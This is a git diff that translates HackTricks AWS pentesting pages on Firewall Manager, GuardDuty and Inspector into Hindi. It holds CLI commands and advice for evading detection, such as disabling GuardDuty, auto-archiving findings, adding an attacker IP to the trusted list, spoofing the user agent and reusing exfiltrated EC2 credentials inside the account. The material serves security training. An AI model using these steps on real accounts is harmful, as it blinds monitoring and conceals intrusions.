को हटा और निर्दिष्ट कर सकेगा जिसका उपयोग Firewall Manager SNS लॉग रिकॉर्ड करने के लिए करता है। -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +**`fms:PutNotificationChannel`** का उपयोग कंसोल के बाहर करने के लिए, आपको SNS विषय की पहुँच नीति सेटअप करनी होगी, जिससे निर्दिष्ट **SnsRoleName** को SNS लॉग प्रकाशित करने की अनुमति मिलेगी। यदि प्रदान किया गया **SnsRoleName** **`AWSServiceRoleForFMS`** के अलावा कोई अन्य भूमिका है, तो इसे Firewall Manager सेवा प्रमुख **fms.amazonaws.com** को इस भूमिका को ग्रहण करने की अनुमति देने के लिए एक विश्वास संबंध की आवश्यकता होती है। -For information about configuring an SNS access policy: +SNS पहुँच नीति कॉन्फ़िगर करने के बारे में जानकारी के लिए: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**संभावित प्रभाव:** इससे सुरक्षा अलर्ट को मिस करने, घटना प्रतिक्रिया में देरी, संभावित डेटा उल्लंघन और वातावरण में परिचालन व्यवधान हो सकते हैं। ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +एक हमलावर जिसके पास **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** अनुमतियाँ हैं, वह AWS Firewall Manager के माध्यम से केंद्रीय रूप से प्रबंधित होने वाले तीसरे पक्ष के फ़ायरवॉल को जोड़ने या अलग करने में सक्षम होगा। > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> केवल डिफ़ॉल्ट प्रशासक तीसरे पक्ष के फ़ायरवॉल को बना और प्रबंधित कर सकता है। ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**संभावित प्रभाव:** असंबंधन नीति से बचने, अनुपालन उल्लंघनों, और वातावरण के भीतर सुरक्षा नियंत्रणों में विघटन का कारण बनेगा। दूसरी ओर, संबंध लागत और बजट आवंटन में विघटन का कारण बनेगा। ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +एक हमलावर फ़ायरवॉल प्रबंधक संसाधनों से टैग जोड़ने, संशोधित करने, या हटाने में सक्षम होगा, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में विघटन होगा। ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## संदर्भ - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..78fed6ca8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,22 +4,22 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty **मशीन लर्निंग, विसंगति पहचान, नेटवर्क निगरानी, और दुर्भावनापूर्ण फ़ाइल खोज** को जोड़ता है, जो AWS और उद्योग के प्रमुख तीसरे पक्ष के स्रोतों का उपयोग करके AWS पर कार्यभार और डेटा की सुरक्षा में मदद करता है। GuardDuty कई AWS डेटा स्रोतों, जैसे AWS CloudTrail इवेंट लॉग, Amazon Virtual Private Cloud (VPC) फ्लो लॉग, Amazon Elastic Kubernetes Service (EKS) ऑडिट और सिस्टम-स्तरीय लॉग, और DNS क्वेरी लॉग के बीच अरबों घटनाओं का विश्लेषण करने में सक्षम है। -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +Amazon GuardDuty **आपके खातों के भीतर असामान्य गतिविधियों की पहचान करता है**, गतिविधि की **सुरक्षा प्रासंगिकता** का विश्लेषण करता है, और यह बताता है कि इसे किस **संदर्भ** में सक्रिय किया गया था। इससे एक उत्तरदाता यह निर्धारित कर सकता है कि क्या उन्हें आगे की जांच में समय बिताना चाहिए। -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +Alerts **GuardDuty कंसोल (90 दिन)** और CloudWatch Events में दिखाई देते हैं। > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> जब एक उपयोगकर्ता **GuardDuty को निष्क्रिय करता है**, तो यह आपके AWS वातावरण की निगरानी करना बंद कर देगा और यह बिल्कुल भी नए निष्कर्ष उत्पन्न नहीं करेगा, और **मौजूदा निष्कर्ष खो जाएंगे**।\ +> यदि आप इसे केवल रोकते हैं, तो मौजूदा निष्कर्ष बने रहेंगे। ### Findings Example -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **Reconnaissance**: गतिविधियाँ जो एक हमलावर द्वारा पहचान का सुझाव देती हैं, जैसे **असामान्य API गतिविधि**, संदिग्ध डेटाबेस **लॉगिन** प्रयास, intra-VPC **पोर्ट स्कैनिंग**, असामान्य असफल लॉगिन अनुरोध पैटर्न, या ज्ञात बुरे IP से अनब्लॉक पोर्ट प्रॉबिंग। +- **Instance compromise**: गतिविधियाँ जो एक इंस्टेंस समझौते का संकेत देती हैं, जैसे **क्रिप्टोक्यूरेंसी माइनिंग, बैकडोर कमांड और नियंत्रण (C\&C)** गतिविधि, डोमेन जनरेशन एल्गोरिदम (DGA) का उपयोग करने वाला मैलवेयर, आउटबाउंड डिनायल ऑफ सर्विस गतिविधि, असामान्य **उच्च नेटवर्क** ट्रैफ़िक मात्रा, असामान्य नेटवर्क प्रोटोकॉल, ज्ञात दुर्भावनापूर्ण IP के साथ आउटबाउंड इंस्टेंस संचार, बाहरी IP पते द्वारा उपयोग किए गए अस्थायी Amazon EC2 क्रेडेंशियल, और DNS का उपयोग करके डेटा निकासी। +- **Account compromise**: खाता समझौते के संकेतक सामान्य पैटर्न में असामान्य भू-स्थान या एनोनिमाइजिंग प्रॉक्सी से API कॉल, AWS CloudTrail लॉगिंग को निष्क्रिय करने के प्रयास, खाता पासवर्ड नीति को कमजोर करने वाले परिवर्तन, असामान्य इंस्टेंस या बुनियादी ढांचे की लॉन्चिंग, असामान्य क्षेत्र में बुनियादी ढांचे की तैनाती, क्रेडेंशियल चोरी, संदिग्ध डेटाबेस लॉगिन गतिविधि, और ज्ञात दुर्भावनापूर्ण IP पते से API कॉल शामिल हैं। +- **Bucket compromise**: गतिविधियाँ जो एक बकेट समझौते का संकेत देती हैं, जैसे क्रेडेंशियल दुरुपयोग का संकेत देने वाले संदिग्ध डेटा एक्सेस पैटर्न, एक दूरस्थ होस्ट से असामान्य Amazon S3 API गतिविधि, ज्ञात दुर्भावनापूर्ण IP पते से अनधिकृत S3 एक्सेस, और एक उपयोगकर्ता द्वारा S3 बकेट में डेटा पुनः प्राप्त करने के लिए API कॉल जो बकेट तक पहुँचने का कोई पूर्व इतिहास नहीं रखता या असामान्य स्थान से सक्रिय किया गया। Amazon GuardDuty लगातार AWS CloudTrail S3 डेटा घटनाओं (जैसे GetObject, ListObjects, DeleteObject) की निगरानी और विश्लेषण करता है ताकि आपके सभी Amazon S3 बकेट में संदिग्ध गतिविधियों का पता लगाया जा सके।
@@ -28,19 +28,19 @@ Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. Finding summary: - Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low -- Region -- Account ID -- Resource ID -- Time of detection -- Which threat list was used +- Severity: 7-8.9 उच्च, 4-6.9 मध्यम, 01-3.9 निम्न +- क्षेत्र +- खाता आईडी +- संसाधन आईडी +- पहचान का समय +- कौन सा खतरा सूची का उपयोग किया गया The body has this information: -- Resource affected -- Action -- Actor: Ip address, port and domain -- Additional Information +- प्रभावित संसाधन +- क्रिया +- अभिनेता: IP पता, पोर्ट और डोमेन +- अतिरिक्त जानकारी
@@ -52,16 +52,15 @@ Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/gua #### By Invitation -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +You can **अन्य खातों को** एक अलग AWS GuardDuty खाते में **निमंत्रित कर सकते हैं ताकि हर खाता उसी GuardDuty से निगरानी की जा सके**। मास्टर खाता सदस्य खातों को आमंत्रित करना चाहिए और फिर सदस्य खाते के प्रतिनिधि को निमंत्रण स्वीकार करना चाहिए। #### Via Organization -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +आप संगठन के भीतर किसी भी खाते को **GuardDuty प्रतिनिधि प्रशासक** के रूप में नामित कर सकते हैं। केवल संगठन प्रबंधन खाता एक प्रतिनिधि प्रशासक को नामित कर सकता है। -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. +एक खाता जिसे प्रतिनिधि प्रशासक के रूप में नामित किया जाता है, एक GuardDuty प्रशासक खाता बन जाता है, निर्दिष्ट AWS क्षेत्र में GuardDuty स्वचालित रूप से सक्षम होता है, और उस क्षेत्र के भीतर संगठन के सभी खातों के लिए GuardDuty को सक्षम और प्रबंधित करने की **अनुमति** भी होती है। संगठन में अन्य खातों को इस प्रतिनिधि प्रशासक खाते से जुड़े GuardDuty सदस्य खातों के रूप में देखा और जोड़ा जा सकता है। ## Enumeration - ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,7 +100,6 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` - ## GuardDuty Bypass ### General Guidance @@ -125,61 +123,53 @@ With this information, recreate as much as possible the same scenario to use the #### `guardduty:UpdateDetector` With this permission you could disable GuardDuty to avoid triggering alerts. - ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +इस अनुमति के साथ हमलावरों के पास **खोजों के स्वचालित** संग्रह के लिए फ़िल्टर लागू करने की क्षमता होती है: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts. - +पिछले विशेषाधिकारों वाले हमलावर GuardDuty की [**विश्वसनीय IP सूची**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) को अपने IP पते को जोड़कर संशोधित कर सकते हैं और अलर्ट उत्पन्न करने से बच सकते हैं। ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +हमलावर अलर्टिंग को रोकने के लिए गंतव्य को हटा सकते हैं: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> इस प्रकाशन गंतव्य को हटाने से **GuardDuty कंसोल के भीतर निष्कर्षों की पीढ़ी या दृश्यता पर कोई प्रभाव नहीं पड़ेगा**। GuardDuty आपके AWS वातावरण में घटनाओं का विश्लेषण करना जारी रखेगा, संदिग्ध या अप्रत्याशित व्यवहार की पहचान करेगा, और निष्कर्ष उत्पन्न करेगा। -### Specific Findings Bypass Examples +### विशिष्ट निष्कर्ष बायपास उदाहरण -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +ध्यान दें कि GuardDuty निष्कर्षों की संख्या दर्जनों में है, हालाँकि, **Red Teamer के रूप में इनमें से सभी का आप पर प्रभाव नहीं पड़ेगा**, और जो बेहतर है, आपके पास **इनमें से प्रत्येक का पूरा दस्तावेज़ीकरण** है [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) इसलिए कोई कार्रवाई करने से पहले एक नज़र डालें ताकि पकड़े न जाएं। -Here you have a couple of examples of specific GuardDuty findings bypasses: +यहाँ आपके पास विशिष्ट GuardDuty निष्कर्षों के बायपास के कुछ उदाहरण हैं: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +GuardDuty सामान्य पेनिट्रेशन परीक्षण उपकरणों से AWS API अनुरोधों का पता लगाता है और [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) को सक्रिय करता है।\ +यह **उपयोगकर्ता एजेंट नाम** द्वारा पता लगाया जाता है जो API अनुरोध में पास किया जाता है।\ +इसलिए, **उपयोगकर्ता एजेंट को संशोधित करना** GuardDuty को हमले का पता लगाने से रोकने के लिए संभव है। -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +इसे रोकने के लिए आप `botocore` पैकेज में `session.py` स्क्रिप्ट से खोज कर सकते हैं और उपयोगकर्ता एजेंट को संशोधित कर सकते हैं, या AWS CLI प्रॉक्सी के रूप में Burp Suite सेट कर सकते हैं और MitM के साथ उपयोगकर्ता-एजेंट को बदल सकते हैं या बस Ubuntu, Mac या Windows जैसे OS का उपयोग कर सकते हैं जो इस अलर्ट को सक्रिय होने से रोक देगा। #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +EC2 क्रेडेंशियल्स को मेटाडेटा सेवा से निकालना और **उन्हें AWS वातावरण के बाहर उपयोग करना** [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) अलर्ट को सक्रिय करता है। इसके विपरीत, आपके EC2 इंस्टेंस से इन क्रेडेंशियल्स का उपयोग करने से [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) अलर्ट सक्रिय होता है। फिर भी, **एक ही खाते के भीतर दूसरे समझौता किए गए EC2 इंस्टेंस पर क्रेडेंशियल्स का उपयोग करना बिना पता चला रहता है**, कोई अलर्ट नहीं उठता। > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> इसलिए, **इस अलर्ट को सक्रिय न करने के लिए मशीन के अंदर से निकाले गए क्रेडेंशियल्स का उपयोग करें** जहाँ आपने उन्हें पाया। -## References +## संदर्भ - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..81c3401cf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +Amazon Inspector एक उन्नत, स्वचालित भेद्यता प्रबंधन सेवा है जिसे आपके AWS वातावरण की सुरक्षा बढ़ाने के लिए डिज़ाइन किया गया है। यह सेवा लगातार Amazon EC2 उदाहरणों, Amazon ECR में कंटेनर छवियों, Amazon ECS, और AWS Lambda कार्यों के लिए भेद्यताओं और अनपेक्षित नेटवर्क एक्सपोजर के लिए स्कैन करती है। एक मजबूत भेद्यता खुफिया डेटाबेस का लाभ उठाकर, Amazon Inspector विस्तृत निष्कर्ष प्रदान करता है, जिसमें गंभीरता स्तर और सुधार सिफारिशें शामिल हैं, जो संगठनों को सक्रिय रूप से सुरक्षा जोखिमों की पहचान और समाधान में मदद करती हैं। यह व्यापक दृष्टिकोण विभिन्न AWS सेवाओं में एक मजबूत सुरक्षा स्थिति सुनिश्चित करता है, अनुपालन और जोखिम प्रबंधन में सहायता करता है। ### Key elements #### Findings -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +Amazon Inspector में निष्कर्ष EC2 उदाहरणों, ECR रिपॉजिटरी, या Lambda कार्यों के स्कैन के दौरान खोजी गई भेद्यताओं और एक्सपोजर के बारे में विस्तृत रिपोर्ट हैं। इसके राज्य के आधार पर, निष्कर्षों को निम्नलिखित श्रेणियों में वर्गीकृत किया जाता है: -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Active**: निष्कर्ष का समाधान नहीं किया गया है। +- **Closed**: निष्कर्ष का समाधान किया गया है। +- **Suppressed**: निष्कर्ष को एक या अधिक **suppression rules** के कारण इस स्थिति के साथ चिह्नित किया गया है। -Findings are also categorized into the next three types: +निष्कर्षों को अगले तीन प्रकारों में भी वर्गीकृत किया गया है: -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Package**: ये निष्कर्ष आपके संसाधनों पर स्थापित सॉफ़्टवेयर पैकेज में भेद्यताओं से संबंधित हैं। उदाहरणों में पुराने पुस्तकालय या ज्ञात सुरक्षा मुद्दों वाले निर्भरताएँ शामिल हैं। +- **Code**: इस श्रेणी में आपके AWS संसाधनों पर चलने वाले अनुप्रयोगों के कोड में पाए जाने वाले भेद्यताएँ शामिल हैं। सामान्य मुद्दे कोडिंग त्रुटियाँ या असुरक्षित प्रथाएँ हैं जो सुरक्षा उल्लंघनों का कारण बन सकती हैं। +- **Network**: नेटवर्क निष्कर्ष संभावित एक्सपोजर की पहचान करते हैं जो नेटवर्क कॉन्फ़िगरेशन में हो सकते हैं जिन्हें हमलावरों द्वारा शोषित किया जा सकता है। इनमें खुले पोर्ट, असुरक्षित नेटवर्क प्रोटोकॉल, और गलत कॉन्फ़िगर किए गए सुरक्षा समूह शामिल हैं। #### Filters and Suppression Rules -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Amazon Inspector में फ़िल्टर और दमन नियम निष्कर्षों का प्रबंधन और प्राथमिकता देने में मदद करते हैं। फ़िल्टर आपको गंभीरता या संसाधन प्रकार जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को परिष्कृत करने की अनुमति देते हैं। दमन नियम आपको कुछ निष्कर्षों को दबाने की अनुमति देते हैं जिन्हें कम जोखिम माना जाता है, जिन्हें पहले ही कम किया गया है, या किसी अन्य महत्वपूर्ण कारण से, जिससे वे आपकी सुरक्षा रिपोर्ट को अधिभारित करने से रोकते हैं और आपको अधिक महत्वपूर्ण मुद्दों पर ध्यान केंद्रित करने की अनुमति देते हैं। #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Amazon Inspector में सॉफ़्टवेयर बिल ऑफ़ मटेरियल्स (SBOM) एक निर्यात योग्य नेस्टेड इन्वेंटरी सूची है जो सॉफ़्टवेयर पैकेज के भीतर सभी घटकों का विवरण देती है, जिसमें पुस्तकालय और निर्भरताएँ शामिल हैं। SBOMs सॉफ़्टवेयर आपूर्ति श्रृंखला में पारदर्शिता प्रदान करने में मदद करते हैं, बेहतर भेद्यता प्रबंधन और अनुपालन सक्षम करते हैं। ये ओपन-सोर्स और तृतीय-पक्ष सॉफ़्टवेयर घटकों से संबंधित जोखिमों की पहचान और कम करने के लिए महत्वपूर्ण हैं। ### Key features #### Export findings -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +Amazon Inspector निष्कर्षों को Amazon S3 Buckets, Amazon EventBridge और AWS Security Hub में निर्यात करने की क्षमता प्रदान करता है, जिससे आप पहचानी गई भेद्यताओं और एक्सपोजर की विस्तृत रिपोर्ट उत्पन्न कर सकते हैं जो आगे के विश्लेषण या विशिष्ट तिथि और समय पर साझा करने के लिए होती हैं। यह सुविधा विभिन्न आउटपुट प्रारूपों जैसे CSV और JSON का समर्थन करती है, जिससे अन्य उपकरणों और प्रणालियों के साथ एकीकृत करना आसान हो जाता है। निर्यात कार्यक्षमता रिपोर्ट में शामिल डेटा को अनुकूलित करने की अनुमति देती है, जिससे आप गंभीरता, संसाधन प्रकार, या तिथि सीमा जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को फ़िल्टर कर सकते हैं और डिफ़ॉल्ट रूप से आपके सभी निष्कर्षों को वर्तमान AWS क्षेत्र में सक्रिय स्थिति के साथ शामिल कर सकते हैं। -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +निष्कर्षों को निर्यात करते समय, डेटा को निर्यात के दौरान एन्क्रिप्ट करने के लिए एक की प्रबंधन सेवा (KMS) कुंजी आवश्यक है। KMS कुंजी सुनिश्चित करती हैं कि निर्यातित निष्कर्ष अनधिकृत पहुंच से सुरक्षित हैं, संवेदनशील भेद्यता जानकारी के लिए एक अतिरिक्त सुरक्षा परत प्रदान करती हैं। #### Amazon EC2 instances scanning -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद्यताओं और सुरक्षा मुद्दों का पता लगाने के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है। Inspector ने EC2 उदाहरण से निकाले गए मेटाडेटा की तुलना सुरक्षा सलाहकारों के नियमों के खिलाफ की ताकि पैकेज भेद्यताओं और नेटवर्क पहुंच समस्याओं का उत्पादन किया जा सके। ये स्कैन **एजेंट-आधारित** या **एजेंटलेस** विधियों के माध्यम से किए जा सकते हैं, जो आपके खाते की **स्कैन मोड** सेटिंग्स कॉन्फ़िगरेशन पर निर्भर करता है। -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Agent-Based**: गहन स्कैन करने के लिए AWS Systems Manager (SSM) एजेंट का उपयोग करता है। यह विधि उदाहरण से सीधे डेटा संग्रह और विश्लेषण की अनुमति देती है। +- **Agentless**: एक हल्का विकल्प प्रदान करता है जिसे उदाहरण पर 